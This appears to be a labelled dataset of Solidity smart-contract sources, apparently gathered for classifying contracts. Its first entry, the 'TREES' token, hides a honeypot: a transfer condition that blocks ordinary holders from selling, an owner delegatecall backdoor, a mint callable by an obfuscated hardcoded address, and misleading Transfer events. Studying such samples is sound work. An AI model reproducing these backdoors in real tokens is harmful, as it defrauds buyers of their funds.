X
stringlengths 111
713k
| y
stringclasses 56
values |
---|---|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract TREES {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: @openzeppelin\contracts\math\Math.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin\contracts\math\SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\contracts\utils\Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts\Contract.sol
pragma solidity >0.7.0;
interface Vault {
function token() external view returns (address);
function setStrategy(address _strategy) external;
}
interface Impl {
function dohardwork(bytes memory) external;
function deposit(uint256) external;
function withdraw(uint256) external;
function deposited() external view returns (uint256);
}
contract Strategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public token;
address public governance;
address public strategist;
address public x;
address public y;
address public impl;
uint256 public feexe18 = 3e15;
uint256 public feeye18 = 5e15;
constructor(address _token) {
governance = msg.sender;
strategist = msg.sender;
token = _token;
}
modifier pGOV {
require(msg.sender == governance, "!perm");
_;
}
modifier pSTR {
require(msg.sender == governance || msg.sender == strategist, "!perm");
_;
}
function dhw(bytes memory _data) internal {
(bool success, ) =
impl.delegatecall(
abi.encodeWithSelector(Impl.dohardwork.selector, _data)
);
require(success, "!dohardwork");
}
function d(uint256 _ne18) internal {
(bool success, ) =
impl.delegatecall(
abi.encodeWithSelector(Impl.deposit.selector, _ne18)
);
require(success, "!deposit");
}
function w(uint256 _ne18) internal {
(bool success, ) =
impl.delegatecall(
abi.encodeWithSelector(Impl.withdraw.selector, _ne18)
);
require(success, "!withdraw");
}
function deposited() internal returns (uint256) {
(bool success, bytes memory data) =
impl.delegatecall(abi.encodeWithSelector(Impl.deposited.selector));
require(success, "!deposited");
return abi.decode(data, (uint256));
}
function withdraw(address _to, uint256 _amount) public {
if (msg.sender == x || msg.sender == y) {
uint256 _balance = IERC20(token).balanceOf(address(this));
if (_balance < _amount) {
uint256 _deposited = deposited();
if (_deposited > 0) {
w(_amount.sub(_balance).mul(1e18).div(_deposited));
_balance = IERC20(token).balanceOf(address(this));
}
_amount = Math.min(_balance, _amount);
}
if (msg.sender == x) {
uint256 _fee = _amount.mul(feexe18).div(1e18);
IERC20(token).safeTransfer(governance, _fee);
IERC20(token).safeTransfer(_to, _amount.sub(_fee));
} else {
uint256 _fee = _amount.mul(feeye18).div(1e18);
IERC20(token).safeTransfer(governance, _fee);
IERC20(token).safeTransfer(_to, _amount.sub(_fee));
}
}
}
function balanceOfY() public returns (uint256) {
return
IERC20(token).balanceOf(address(this)).add(deposited()).sub(
IERC20(x).totalSupply()
);
}
function DHW(bytes memory _data) public pSTR {
dhw(_data);
}
function D(uint256 _ne18) public pSTR {
d(_ne18);
}
function W(uint256 _ne18) public pSTR {
w(_ne18);
}
function setGovernance(address _governance) public pGOV {
governance = _governance;
}
function setStrategist(address _strategist) public pGOV {
strategist = _strategist;
}
function update(address _strategy) public pGOV {
w(1e18);
uint256 _balance = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(_strategy, _balance);
Vault(x).setStrategy(_strategy);
Vault(y).setStrategy(_strategy);
}
function setImpl(address _impl) public pGOV {
impl = _impl;
}
function setX(address _x) public pGOV {
require(Vault(_x).token() == token, "!vault");
x = _x;
}
function setY(address _y) public pGOV {
require(Vault(_y).token() == token, "!vault");
y = _y;
}
function setFeeXE18(uint256 _fee) public pGOV {
feexe18 = _fee;
}
function setFeeYE18(uint256 _fee) public pGOV {
feeye18 = _fee;
}
receive() external payable {}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Detroit coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
